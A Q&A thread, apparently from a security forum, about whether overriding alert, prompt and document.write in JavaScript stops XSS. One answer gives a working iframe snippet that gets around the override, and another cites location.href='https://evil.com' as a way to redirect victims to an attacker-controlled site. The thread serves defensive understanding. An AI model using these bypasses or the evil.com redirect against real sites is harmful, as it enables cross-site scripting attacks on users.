XSS prevention via JavaScript

Question

I am working on a XSS prevention via Javascript. I am using the following JS-Code for that:

(function () {
/*  
XSS prevention via JavaScript 
*/
var XSSObject = new Object();
XSSObject.lockdown = function (obj, name) {
    if (!String.prototype.startsWith) {
        try { 
            if (Object.defineProperty) {
                Object.defineProperty(obj, name, {
                    configurable: false
                });
            }
        } catch (e) { };
    }
}
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
    var proxy = obj[name];
    obj[name] = function () {
        if (exec_original) {
            return proxy.apply(this, arguments);
        }
    };
    XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
XSSObject.proxy(window, 'confirm', 'window.confirm', false);
XSSObject.proxy(window, 'prompt', 'window.prompt', false);
XSSObject.proxy(window, 'unescape', 'unescape', false);
XSSObject.proxy(document, 'write', 'document.write', false);
XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
})();

Using that script, it is not possible to execute the functions alert, confirm, prompt, unescape, write and fromCharCode. Is there a way to bypass this prevention? If so, how and why?

Answer 1

Yes, there are ways to bypass this security measure. As pointed out in a comment:

var iframe = document.createElement('iframe');
iframe.srcdoc = '';
document.body.appendChild(iframe);
iframe.contentWindow.alert.call(window, 'hello');

The problem is that successfully blacklisting individual functions in such a complex language is an exercise in futility. Trying to prevent real-world attacks by blacklisting is downright quixotic.

Answer 2

Some of the functions that you have mentioned, alert, confirm, prompt, are often only used by people who want to prove that there's an XSS by making a PoC.

There's countless other ways to trigger XSS depending on injection point and type of payload, such as using location.href='https://evil.com to load a script from another site, without alerting the victim of any suspicious behavior.

The correct way to minimize XSS as much as possible is to sanitize user input and implement a strict CSP policy. Refer to the OWASP XSS Prevention Cheat Sheet for a non-exhaustible list of measures you can take.